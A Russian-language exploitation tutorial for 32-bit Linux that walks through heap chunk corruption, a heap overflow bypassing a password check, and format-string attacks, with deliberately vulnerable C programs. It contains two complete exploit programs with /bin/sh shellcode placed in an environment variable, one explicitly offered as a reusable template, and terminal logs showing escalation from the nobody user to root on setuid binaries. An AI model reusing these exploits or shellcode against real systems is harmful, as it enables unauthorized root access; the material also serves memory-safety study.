 Предлагаю рассмотреть данный пример уязвимой программы:
 
 ==================================================
 
 main(int argc,char **argv){
 
 char *a,*b;
 
 
 
 printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 a=malloc(2);
 
 b=malloc(2);
 
 
 
 printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 
 
 printf("a=%p, b=%p, b-a=0x%x\n",a,b,(long)b-(long)a);
 
 
 
 strcpy(a,argv[1]);
 
 
 
 printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 
 
 printf("free = %p\n",free);
 
 free(a);
 
 free(b);
 
 }
 
 ==================================================
 
 
 
 Как и было описано выше на элементарном языке heap в данном случае будет запол-
 
 нен таким образом:
 
 
 
  _____
 
 |[ a ]|
 
 |[ b ]|
 
 |     |
 
 |     |
 
 
 
 Давайте посмотрим, что собственно происходит:
 
 
 
 [root@columbia work]# !gc
 
 gcc -o 1 1.c
 
 1.c: In function `main':
 
 1.c:6: warning: assignment makes pointer from integer without a cast
 
 1.c:7: warning: assignment makes pointer from integer without a cast
 
 [root@columbia work]# gdb 1
 
 ...
 
 (gdb) r `perl -e 'print "A"x12'`
 
 Starting program: /usr/lib/lib.so.6/work/1 `perl -e 'print "A"x12'`
 
 
 
 ----------------
 
 stack: bffffb3c bffffad8 080484e1 08049710 080497f4 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 
 
 ----------------
 
 stack: bffffb3c bffffad8 080484e1 08049828 08049818 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 a=0x8049818, b=0x8049828, b-a=0x10
 
 
 
 ----------------
 
 stack: bffffc5b 08049828 00000010 08049828 08049818 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 
 
 Program received signal SIGSEGV, Segmentation fault.
 
 0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142
 
 3142    malloc.c: No such file or directory.
 
         in malloc.c
 
 
 
 
 
 Здесь видно, что изначально наши указатели имели адреса в heap области такие -
 
 08049710 080497f4. ПОсле malloc(2) им присвоились другие адреса:
 
 
 
 a=0x8049818, b=0x8049828, b-a=0x10
 
 
 
 Причем как видно, разность между адресами 0х10 (16 байт). Первое, что напраши-
 
 вается в голову - вопрос о том, почему именно такое расстояние между адресами,
 
 т.е. почему вместо 2х байт под "а" выделилось 16 байт. Рассмотрим данную прог-
 
 раммку:
 
 
 
 ==================================================
 
 main(int argc, char **argv) {
 
 char *a,*b;
 
 a=malloc(atoi(argv[1]));
 
 b=malloc(atoi(argv[2]));
 
 printf("a=%p, b=%p, b-a=0x%x\n",a,b,b-a);
 
 free(a);
 
 free(b);
 
 }
 
 ==================================================
 
 
 
 Предлагаю просто понаблюдать за тем, как выделяется память в heap под разные
 
 запрашиваемые размеры для переменной "а":
 
 
 
 [root@columbia work]# gcc -o 3 3.c
 
 3.c: In function `main':
 
 3.c:3: warning: assignment makes pointer from integer without a cast
 
 3.c:4: warning: assignment makes pointer from integer without a cast
 
 [root@columbia work]# ./3 1 10
 
 a=0x8049728, b=0x8049738, b-a=0x10
 
 [root@columbia work]# ./3 12 10
 
 a=0x8049728, b=0x8049738, b-a=0x10
 
 [root@columbia work]# ./3 13 10
 
 a=0x8049728, b=0x8049740, b-a=0x18
 
 [root@columbia work]# ./3 21 10
 
 a=0x8049728, b=0x8049748, b-a=0x20
 
 [root@columbia work]# ./3 29 10
 
 a=0x8049728, b=0x8049750, b-a=0x28
 
 [root@columbia work]# ./3 36 10
 
 a=0x8049728, b=0x8049750, b-a=0x28
 
 [root@columbia work]# ./3 37 10
 
 a=0x8049728, b=0x8049758, b-a=0x30
 
 [root@columbia work]# ./3 45 10
 
 a=0x8049728, b=0x8049760, b-a=0x38
 
 
 
 Если теперь мы составим распределение в виде таблички, то увидим:
 
 
 
 Запрос на   |  Кол-во выделившихся
 
 выделение   |  Байт
 
 Н байт под  |
 
 переменную  |
 
 ----------------------------------
 
  0..12      |   16 (0х10)
 
 13..21      |   24 (0х18)
 
 21..29      |   32 (0х20)
 
 29..37      |   40 (0х28)
 
 ----------------------------------
 
 
 
 Т.е. отводится сразу по 8 байт начиная с рубежа 13 (до 13 сразу же отводится 16
 
 байт)
 
 
 
 Теперь давайте вернёмся к нашему примеру и попробуем посмотреть, что случится,
 
 если мы подадим запрос размером в 12 символов (т.е. у нас 0х00 - конец строки
 
 будет 13ый байтом..и мы им должны будем затереть конечный участок выделенного
 
 адреса под "а"):
 
 
 
 (gdb) br strcpy
 
 Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
 
 (gdb) br printf
 
 Breakpoint 2 at 0x4007d5e6: file printf.c, line 32.
 
 (gdb) r `perl -e 'print "A"x12'`
 
 ...
 
 (gdb) c
 
 Continuing.
 
 a=0x8049818, b=0x8049828, b-a=0x10
 
 
 
 Breakpoint 1, strcpy (dest=0x8049818 "", src=0xbffffc5b 'A' ) at ../sysdeps/generic/strcpy.c:34
 
 34      ../sysdeps/generic/strcpy.c: No such file or directory.
 
         in ../sysdeps/generic/strcpy.c
 
 (gdb) x/10x 0x8049818
 
 0x8049818:      0x00000000      0x00000000      0x00000000      0x00000011
 
 0x8049828:      0x00000000      0x00000000      0x00000000      0x000007d1
 
 0x8049838:      0x00000000      0x00000000
 
 
 
 
 
 Вот содержимое 2х буфферов, на каждый из которого было выделенно по 16 байт,
 
 причем начиная с 13ого байта, у нас что-то прописано...пока не будем вдаваться
 
 в подробности что (мы рассмотрим это строчками ниже), но сразу мысль закрады-
 
 вается о том, что данная информация помогает функциям malloc()/free() ориенти-
 
 роваться в heap пространстве, разделяя области памяти, выделенные под разные
 
 переменные.
 
 
 
 (gdb) c
 
 Continuing.
 
 
 
 Breakpoint 2, printf (
 
     format=0x8048640 "\n", '-' , "\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n", '-' , "\n") at printf.c:32
 
 32      printf.c: No such file or directory.
 
         in printf.c
 
 (gdb) x/10x 0x8049818
 
 0x8049818:      0x41414141      0x41414141      0x41414141      0x00000000
 
 0x8049828:      0x00000000      0x00000000      0x00000000      0x000007d1
 
 0x8049838:      0x00000000      0x00000000
 
 
 
 Вот мы затёрли 13ым (0х00) байтом ту самую, пока непонятную нам, информацию..
 
 посмотрим, что из этого выйдет:
 
 
 
 (gdb) c
 
 ...
 
 Program received signal SIGSEGV, Segmentation fault.
 
 0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142
 
 3142    malloc.c: No such file or directory.
 
         in malloc.c
 
 
 
 Программа завершилась аварийно, т.к. функция free() не смогла правильно опреде-
 
 лить информацию, которая отводилась для "b" (именно для "b".. это будет показано
 
 далее, когда затронется принцип работы malloc'a)
 
 
 
 Это можно наблюдать используя ltrace: (чтобы удостовериться, что при освобожде-
 
 нии "b" у нас происходит аварийное завершение программы)
 
 
 
 [root@columbia work]# ltrace ./1 `perl -e 'print "A"x12'`
 
 ...
 
 malloc(2)                                         = 0x08049818
 
 malloc(2)                                         = 0x08049828
 
 ...
 
 free(0x08049818)                                  = 
 
 --- SIGSEGV (Segmentation fault) ---
 
 +++ killed by SIGSEGV +++
 
 [root@columbia work]#
 
 
 
 Теперь можно попробовать вернуть на место 11 и посмотреть, что будет:
 
 
 
 (gdb) r `perl -e 'print "A"x12'``printf "\x11"`
 
 ...
 
 Program exited normally.
 
 (gdb)
 
 
 
 А теперь попробуем сделать так:
 
 
 
 (gdb) r `perl -e 'print "A"x12'``printf "\x11\x41"`
 
 ...
 
 Program received signal SIGSEGV, Segmentation fault.
 
 0x4009ddf0 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3131
 
 3131    malloc.c: No such file or directory.
 
         in malloc.c
 
 
 
 Кстати, перед "а" тоже содержится тот же 0х11 байт, так сказать метка о начале
 
 чужого куска данных (или лучше сказать метка указывающая на то, что далее идёт
 
 чужая область данных):
 
 
 
 (gdb) x/10x 0x8049810
 
 0x8049810:      0x00000000      0x00000011      0x41414141      0x41414141
 
 0x8049820:      0x41414141      0x00004111      0x00000000      0x00000000
 
 0x8049830:      0x00000000      0x000007d1
 
 (gdb)
 
 
 
 Теперь пришло время узнать то, как работают функции malloc() и free(): (если
 
 кому-то интересно углубиться в работу этих функций, то они могут посмотреть соот-
 
 ветствующие исходные тексты функций)
 
 
 
 Хмм.. тогда спрашивается, а что такое за 0x07d1, который расположен после всех
 
 выделенных кусков под переменные "а" и "b" ?? По всей видимости эта метка указы-
 
 вающая на то, что с этого момента можно выделять новые куски в heap'e под другие
 
 какие-нибудь переменные.. Т.е. эта метка служит для функции malloc() указателем,
 
 который указывает на то место, откуда стоит начинать выделять байты под переменные!
 
 
 
 Вот описание структуры malloc_chunk:
 
 
 
 #define INTERNAL_SIZE_T size_t
 
 
 
 struct malloc_chunk {
 
     INTERNAL_SIZE_T prev_size;
 
     INTERNAL_SIZE_T size;
 
     struct malloc_chunk * fd;
 
     struct malloc_chunk * bk;
 
 };
 
 
 
 при вызове malloc() происходит следующее заполнение heap сегмента:
 
 
 
 <место для данных под переменную>
 
 
 
 Или как было показано выше:
 
 
 
 <метка начала><данные><метка конца>
 
 
 
 При повторном выделении хип примет такую форму:
 
 
 
 <метка начала><данные><метка начала других данных><данные><метка конца>
 
 
 
 И т.д.
 
 
 
 Соответственно нам нужно подделать эти данные, чтобы добиться желаемого успеха -
 
 эксплуитации.
 
 
 
 Для того, чтобы написать exploit мы должны узнать GOT(Global Offset Table, кото-
 
 рая входит в состав любой программы) адрес функции free():
 
 
 
 [root@columbia work]# objdump -R ./1 | grep free
 
 08049748 R_386_JUMP_SLOT   free
 
 [root@columbia work]#
 
 
 
 Теперь предлагаю пример программы, которая использует эту уязвимость:
 
 ==================================================
 
 #include 
 
 
 
 #define FREE_GOT_ADDRESS 0x08049748
 
 
 
 char shellcode[]=
 
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
 
 "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
 
 "\xc0\x88\x43\x07\x89\x5b\x08\x89"
 
 "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
 
 "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
 
 "/bin/sh";
 
 
 
 
 
 long getsp() {
 
 __asm__("movl %esp,%eax");
 
 }
 
 
 
 
 
 
 
 int main(int argc, char **argv) {
 
 
 
         char buf[501];
 
         long ret;
 
         int off=0,i;
 
         char *p,*av[3], *ev[2];
 
         char *egg;
 
 
 
         egg=(char *)malloc(1000);
 
         sprintf(egg, "EGG=");
 
         memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
 
         sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode);
 
 
 
 
 
         if(argc>=2) off=atoi(argv[1]);
 
 
 
         ret = getsp()+off;
 
 
 
         printf("shellcode addr: 0x%x, offset: %d\n",ret,off);
 
 
 
         p=buf;
 
         *( (void **)p ) = (void *)( 0x21222324 ); // мусор //
 
         p+=4;
 
         *( (void **)p ) = (void *)( 0x31323334 ); // мусор //
 
         p+=4;
 
         *( (size_t *)p ) = (size_t)( 0x41424344 & ~0x1 ); // волшебный ключик :) //
 
         p+=4;
 
         *( (size_t *)p ) = (size_t)( -4 );
 
         p+=4;
 
         *( (void **)p ) = (void *)( FREE_GOT_ADDRESS - 12 );
 
         p+=4;
 
         *( (void **)p ) = (void *)( ret );
 
         p+=4;
 
         *p='\0';
 
 
 
 
 
         av[0] = "./1";
 
         av[1] = buf;
 
         av[2] = 0;
 
         ev[0] = egg;
 
         ev[1] = 0;
 
         execve(*av, av, ev);
 
 
 
         return 0;
 
 
 
 }
 
 ==================================================
 
 
 
 Запускаем программу:
 
 
 
 [root@columbia work]# gcc -o 2 2.c
 
 [root@columbia work]# chmod ug+s 1
 
 [root@columbia work]# su nobody
 
 sh-2.04$ id
 
 uid=99(nobody) gid=99(nobody) groups=99(nobody)
 
 sh-2.04$ ./2 1000
 
 shellcode addr: 0xbffffca0, offset: 1000
 
 
 
 ----------------
 
 stack: bffffb3c bffffad8 080484e1 08049710 080497f4 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 
 
 ----------------
 
 stack: bffffb3c bffffad8 080484e1 08049828 08049818 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 a=0x8049818, b=0x8049828, b-a=0x10
 
 
 
 ----------------
 
 stack: bffffbf7 08049828 00000010 08049828 08049818 bffffb08 4003a177 00000002
 
 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb48
 
 401474dc 400165f8 00000002
 
 ----------------
 
 sh-2.04# id
 
 uid=0(root) gid=0(root) groups=99(nobody)
 
 sh-2.04#
 
 
 
 
 
 А теперь бы я хотел рассмотреть пример такого плана:
 
 ==================================================
 
 main(int argc, char **argv){
 
         char *a,*b,*c;
 
         printf("a = %p, b = %p, c = %p\n",a,b,c);
 
         strcpy(b,argv[1]);
 
         printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x \n");
 
 }
 
 ==================================================
 
 
 
 Дело в том, что когда указатель создаётся он получает адрес в хипе и этот адрес
 
 не всегда указывает в пустоту, в большенстве случаев он указывает на область,
 
 где уже есть данные, такие как: GOT, dtors и т.п. И использование таких вот
 
 адресов (непроинициализированных) не всегда безопасно. Пример выше показывает
 
 это:
 
 
 
 [root@columbia work]# gcc -o 3 3.c
 
 [root@columbia work]# gdb 3
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 (gdb) br strcpy
 
 Breakpoint 1 at 0x8048380
 
 (gdb) r AAA
 
 Starting program: /usr/lib/lib.so.6/work/3 AAA
 
 Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
 
 a = 0x804963c, b = 0x8049560, c = 0x8048471
 
 
 
 Breakpoint 1, strcpy (dest=0x8049560 "", src=0xbffffc64 "AAA") at ../sysdeps/generic/strcpy.c:34
 
 34      ../sysdeps/generic/strcpy.c: No such file or directory.
 
         in ../sysdeps/generic/strcpy.c
 
 (gdb) x/50x 0x8049560
 
 0x8049560 :      0x00000000      0xffffffff      0x00000000      0xffffffff
 
 0x8049570 <__DTOR_END__>:       0x00000000      0x0804959c      0x40016c10      0x4000d9a0
 
 0x8049580 <_GLOBAL_OFFSET_TABLE_+12>:   0x40131c60      0x08048346      0x4003a0e4      0x4007d5d4
 
 0x8049590 <_GLOBAL_OFFSET_TABLE_+28>:   0x08048376      0x400a38b0      0x00000000      0x00000001
 
 0x80495a0 <_DYNAMIC+4>: 0x00000010      0x0000000c      0x08048308      0x0000000d
 
 0x80495b0 <_DYNAMIC+20>:        0x08048510      0x00000004      0x08048128      0x00000005
 
 0x80495c0 <_DYNAMIC+36>:        0x080481f0      0x00000006      0x08048160      0x0000000a
 
 0x80495d0 <_DYNAMIC+52>:        0x00000086      0x0000000b      0x00000010      0x00000015
 
 0x80495e0 <_DYNAMIC+68>:        0x40016be8      0x00000003      0x08049574      0x00000002
 
 0x80495f0 <_DYNAMIC+84>:        0x00000030      0x00000014      0x00000011      0x00000017
 
 0x8049600 <_DYNAMIC+100>:       0x080482d8      0x00000011      0x080482d0      0x00000012
 
 0x8049610 <_DYNAMIC+116>:       0x00000008      0x00000013      0x00000008      0x6ffffffe
 
 0x8049620 <_DYNAMIC+132>:       0x080482a0      0x6fffffff
 
 ....
 
 (gdb) q
 
 [root@columbia work]# ./3 `perl -e 'print "A"x17'`
 
 a = 0x80496cc, b = 0x80495f0, c = 0x8048471
 
 bffffc58 080495f0 08048471 40016b64 bffffb4c bffffae8 08048471 080495f0 080496cc
 
 bffffb18 4003a177 00000002 bffffb4c
 
 Segmentation fault (core dumped)
 
 
 
 Как видно стек не тронут, как и следовало ожидать! Все процессы протекали в хипе.
 
 
 
 
 
 [root@columbia work]# gdb 3 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  0x00000041 in ?? ()
 
 (gdb) q
 
 
 
 Далее действия аналогичны главе 1:
 
 
 
 [root@columbia work]# ./2 1000
 
 shellcode addr: 0xbffffc90, offset: 1000
 
 a = 0x80496cc, b = 0x80495f0, c = 0x8048471
 
 sh-2.04#
 
 
 
 если же копирование бы производилось в "a", то у нас бы были проблемы с тем,
 
 что на пути придётся подделывать адреса и будет не всё так просто. Что касается
 
 "с" , то копируя туда мы бы столкнулись с ещё более тяжелыми проблемами :))).
 
 Причем стоит ещё сказать, что указатели непроинициализированные по умолчанию
 
 упорядоченно указывают на участки в хипе, т.е. в большенстве случаев второй
 
 объявленный указатель будет смотреть туда же, куда и наш, что рассматривался
 
 выше (в область .dtors, GOT).
 
 
 
 
 
 
 
  -----[    5    ]-----
 
 
 
 Теперь рассмотрим перезапись буффера (Buffer Overrun). Этого результата можно
 
 достичь многими способами. Рассмотрим тот же heap сегмент, который ранее уже
 
 был более менее изучен. Начнём сразу с простого примера:
 
 
 
 ==================================================
 
 main(int argc , char **argv) {
 
         char *a,*b;
 
         if(argc==1){
 
                 printf("Usage: ./progam Your_name PASSWORD\n");
 
                 exit(0);
 
         }
 
         a=malloc(1);
 
         b=malloc(1);
 
         strcpy(b,"PASSWD");
 
         strcpy(a,argv[1]);
 
         if(strcmp(argv[2],b)==0) printf("SUCCESS! Access granted!\n");
 
         else printf("User anonymous access denied!\n");
 
 }
 
 ==================================================
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 1.c: In function `main':
 
 1.c:3: warning: assignment makes pointer from integer without a cast
 
 1.c:4: warning: assignment makes pointer from integer without a cast
 
 [root@columbia work]# ./1
 
 Usage: ./progam Your_name PASSWORD
 
 [root@columbia work]# ./1 CrZ cool
 
 User anonymous access denied!
 
 [root@columbia work]# ./1 aaa `perl -e 'print "A"x999'`
 
 User anonymous access denied!
 
 [root@columbia work]#
 
 
 
 Как и отмечалось выше, если не вызывать free() , то при затирании информации о
 
 чужом chunk'e желаемого результата не будет (т.е. мы не сможем воспользоваться
 
 методом описанным выше, чтобы при вызове функции free() мы получили желаемый
 
 шелл). Но мы попробуем пройти аутентификацию не зная пароля (с помощью переза-
 
 писи):
 
 
 
 [root@columbia work]# ./1 `perl -e 'print "A"x16'`cool cool
 
 SUCCESS! Access granted!
 
 [root@columbia work]#
 
 
 
 Т.к. мы уже знаем как работает хип, то труда не составит понять, что мы здесь
 
 сделали: т.к. для malloc(1) под переменную отведётся 16 байт (причем 4 конечных
 
 принадлежат переменной "b" - информация о "b"), то первые 16 байт можем заполнить
 
 мусором, а далее уже пойдёт поле пароля, которое мы перезаписываем на "cool".
 
 
 
 
 
 
 
 
 
  -----[    6    ]-----
 
 
 
 Атаки класса format string основаны на особенности работы функций, которые под-
 
 держивают метки подстановок, таких как: %s, %c, %x, %d и т.д. Чтобы понять это
 
 лучше опять же лучше рассматривать это на практическом примере: (изучим printf())
 
 ==================================================
 
 main(int argc, char **argv) {
 
 	printf(argv[1]);
 
 	printf("\n");
 
 }
 
 ==================================================
 
 
 
 Тут происходит простая печать того, что передаётся посредством командной строки
 
 в качестве аргумента программы:
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 [root@columbia work]# ./1 aaa
 
 aaa
 
 [root@columbia work]#
 
 
 
 Но, т.к. printf() умеет распечатывать данные разных типов преобразовывая исходной
 
 поток данных в нужный формат, то в данном случае, когда printf() точно не знает
 
 какого формата представленная информация.. то функция printf() будет всегда
 
 выводить входные данные как строку...
 
 
 
 А теперь можно посмотреть, что будет, если мы вместо входных данных дадим прог-
 
 рамме на печать метки форматов каких-нибудь:
 
 
 
 [root@columbia work]# ./1 %x,%d,%c,%p
 
 bffffb4c,-1073743128,A,0x804950c
 
 [root@columbia work]#
 
 
 
 Вот синтаксис printf():
 
 
 
        int printf(const char *format, ...);
 
 
 
 При наличии данных меток форматов функция printf() пытается взять соответствующий
 
 аргумент для данной метки, который по идее должен передаться функции, но увы
 
 предварительной проверки на соответствие между кол-ом меток и аргументов функции
 
 данного класса не делают.. в результате чего функция подставляет на место метки
 
 аргумент, которого нет... и этим аргументом становится в данном случае стек
 
 (начиная с его верхушки).
 
 
 
 Теперь остаётся только понять, каким способом можно это использовать. Т.е. чтение
 
 стека во всяком случае уже есть, но хотелось бы и производить запись в стек.
 
 Если прочитать мануал по типам форматов, то можно увидеть метку %n, которая
 
 предназначена для подсчёта символов, стоящих до этой метки, и результат пред-
 
 ставляется в виде 32битного числа...после чего результат записывается в соответ-
 
 ствующий аргумент функции, так же есть метки типа %hn (16bit), %hhn (8bit).
 
 
 
 А теперь допустим, что у нас данные сохраняются в файл без учёта того, какого
 
 формата данные:
 
 
 
 ==================================================
 
 main(int argc, char **argv) {
 
         char a[20];
 
         bzero(a,sizeof(a));
 
         snprintf(a,sizeof(a),argv[1]);
 
 	printf("a = '%s'\n",a);
 
         printf("\n%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n");
 
 }
 
 ==================================================
 
 
 
 Как видно выше, копирование происходит с учетом копируемых данных, а больше,
 
 чем размер самого буффера, мы не сможем скопировать:
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 [root@columbia work]# ./1 `perl -e 'print "A"x999'`
 
 a = 'AAAAAAAAAAAAAAAAAAA'
 
 
 
 bffff6e0 bffff882 40131c6e 41414141 41414141 41414141 41414141 00414141 bffff77c
 
 [root@columbia work]#
 
 
 
 %. позволяет нам распечатывать данные нужной длины и представлять их
 
 соответствующим образом. Например, %.8x распишет первый элимент стека с длинной
 
 в 8 символов, т.е. если в стеке была 1 (единица), то она представилась бы как
 
 00000001.. Если же бы %.8 не было и стоял бы только %x, то единица бы распеча-
 
 талась в таком же виде - 1 (без нулей спереди). Это хорошо видно из самой прог-
 
 раммы, что выше. Она распечатывает каждый элемент стека как величину с фиксиро-
 
 ванной длинной в 8 символов.
 
 
 
 Теперь наша задача состоит в том, чтобы переписать нужный нам адрес, на наш соб-
 
 ственный.. весь этот процесс имеет следующий синтаксис: (точный)
 
 
 
 <адрес, что нужно переписать (в строковом виде)>%.<(меньшая часть нового адреса
 
 в десятичном виде)-8>x%<смещение до начала буффера с учётом той части, которая
 
 больше>$hn%.<(большая часть в десятичном виде)-(меньшая часть в десятичном виде)>x
 
 %<смещение с учётом большей части>$hn
 
 
 
 Теперь стоит пояснить что такое меньшая и большая часть адреса:
 
 
 
 Адрес представим в следующем виде - 0xaaaabbbb. И этот адрес можно разделить на
 
 2 куска 0xaaaa (это верхняя часть) и 0xbbbb (это нижняя). Если адреса можно пред-
 
 ставить в десятичном виде и далее действовать по формуле, с учетом какая из частей
 
 больше.
 
 
 
 Нужно выяснить где находится начало нашего буффера (смещение до начала), т.к.
 
 посредством меток (%x, к примеру) мы путешествуем по стеку начиная с его начала,
 
 а нам нужно не начало, а местоположение начала того буффера, в который идёт ко-
 
 пирование (т.е. начальная точка, с которой начинаются заноситься данные в буффер),
 
 чтобы определить правильно расстояние до того адреса, который нам следует пере-
 
 писать:
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 [root@columbia work]# ./1 AAAA%1\$x
 
 a = 'AAAA40131c6e'
 
 
 
 bffffab0 bffffc55 40131c6e 41414141 33313034 65366331 00000000 00000000 bffffb4c
 
 [root@columbia work]# ./1 AAAA%2\$x
 
 a = 'AAAA41414141'
 
 
 
 bffffab0 bffffc55 40131c6e 41414141 31343134 31343134 00000000 00000000 bffffb4c
 
 [root@columbia work]#
 
 
 
 Мы выяснили смещение до начальной позиции буффера - 2.
 
 
 
 Теперь наша задача кроется в том, чтобы выяснить нужный адрес, который мы хотим
 
 переписать и адрес, на который мы хотим переписать. Тут есть много вариантов,
 
 но удобней всего переписать тот адрес, который всегда присутствует и , который
 
 всегда можно узнать ;).. Это .dtors (адрес деструктора, который вызывается сразу
 
 после завершения работы программы! Так же существует и конструктор - .ctors, но
 
 он нам не интересен, т.к. вызывается сразу же при старте программы и переписав
 
 этот адрес, мы не сможем добиться нужного эффекта, т.к. конструктор вызывается
 
 всего лишь раз (в начале)).
 
 
 
 [root@columbia work]# objdump -s -j .dtors ./1
 
 
 
 ./1:     file format elf32-i386
 
 
 
 Contents of section .dtors:
 
  804963c ffffffff 00000000                    ........
 
 [root@columbia work]#
 
 
 
 Теперь остаётся узнать адрес шеллкода. Для разрешения этой проблемы есть 2 спо-
 
 соба:
 
 
 
 	1) поместить шеллкод в буффер уязвимой программы и методом тыка попытать-
 
 	ся задать приближённый адрес до шеллкода.
 
 	2) поместить шеллкод в переменную окружения и так же задать его прибли-
 
 	зительное место положение, либо же можно просто напросто найти этот адрес
 
 	в памяти.
 
 
 
 Отличие между 2мя способами заключается в том, что иногда размер буффера, в ко-
 
 торый идёт копирование бывает очень маленьких размеров и непригоден для разме-
 
 щения в нём шеллкода, тогда можно прибегнуть ко второму способу, который и удо-
 
 бен и почти всегда может использоваться ;).
 
 
 
 Теперь остаётся дело техники..
 
 
 
 Вот пример программы, которая использует данную уязвимость: (я её сделал очень
 
 маленькой и очень универсальной :), т.ч. она может юзаться как шаблон)
 
 
 
 ==================================================
 
 #include 
 
 
 
 char buf[100];
 
 
 
 char shellcode[]=
 
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
 
 "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
 
 "\xc0\x88\x43\x07\x89\x5b\x08\x89"
 
 "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
 
 "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
 
 "/bin/sh";
 
 
 
 
 
 long getsp() {
 
 __asm__("movl %esp,%eax");
 
 }
 
 
 
 
 
 char *fmt_str_creator(long GOT, long RET, int ALIGN) {
 
 
 
 	long high,low;
 
 	memset(buf,0x00,sizeof(buf));
 
 
 
 	high=(RET >> 16) & 0xffff; // выделяем верхную часть и заносим её в high
 
 	low = RET & 0xffff; // выделяем нижнюю часть и заносим в low
 
 
 
 	sprintf(buf,"%c%c%c%c%c%c%c%c%%.%dx%%%d$hn%%.%dx%%%d$hn",
 
 			(char)((GOT&0xff)+2),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
 
 			(char)(GOT&0xff),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
 
 			(high>low)?(low-8):(high-8),
 
 			(high>low)?(ALIGN+1):(ALIGN),
 
 			(high>low)?(high-low):(low-high),
 
 			(high>low)?(ALIGN):(ALIGN+1));
 
 
 
 	return buf;
 
 
 
 
 
 }
 
 
 
 int main(int argc, char **argv) {
 
 
 
 	long GOT = 0x804963c;
 
 	long RET = 0xbffffa04;
 
 	int ALIGN = 2,off=0;
 
 
 
 	char *av[3], *ev[2];
 
 	char *egg,buff[100];
 
 
 
 	egg=(char *)malloc(1000);
 
 	sprintf(egg, "EGG=");
 
         memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
 
 	sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode);
 
 
 
 	if(argc==1) { printf("Usage: %s  <.dtors address>\n",argv[0]); exit(0); }
 
         if(argc>=2) off=atoi(argv[1]);
 
 	if(argc>=3) sscanf(argv[2],"0x%x",&GOT);
 
 
 
         RET = getsp()+off;
 
 
 
         printf("shellcode addr: 0x%x, offset: %d, .dtors: 0x%x\n",RET,off,GOT);
 
 
 
 	memset(buff,0x00,sizeof(buf));
 
 	sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN));
 
 
 
         av[0] = "./1";
 
         av[1] = buff;
 
         av[2] = 0;
 
         ev[0] = egg;
 
         ev[1] = 0;
 
         execve(*av, av, ev);
 
 
 
 	return 0;
 
 }
 
 ==================================================
 
 
 
 А теперь запустим её:
 
 
 
 [root@columbia work]# gcc -o 2 2.c
 
 [root@columbia work]# ./2
 
 Usage: ./2  <.dtors address>
 
 [root@columbia work]# objdump -s -j .dtors ./1
 
 
 
 ./1:     file format elf32-i386
 
 
 
 Contents of section .dtors:
 
  804963c ffffffff 00000000                    ........
 
 [root@columbia work]# chmod ug+s 1
 
 [root@columbia work]# su nobody
 
 sh-2.04$ id
 
 uid=99(nobody) gid=99(nobody) groups=99(nobody)
 
 sh-2.04$ ./2 1000 0x804963c
 
 shellcode addr: 0xbffffe30, offset: 1000, .dtors: 0x804963c
 
 a = 'B@00000000000'
 
 
 
 bffffaa0 bffffbed 40131c6e 08049642 08049640 30303030 30303030 00303030 bffffb3c
 
 sh-2.04# id
 
 uid=0(root) gid=0(root) groups=99(nobody)
 
 sh-2.04#
 
 
 
 Как видно выше принцип замечательно работает! ;)
 
 
 
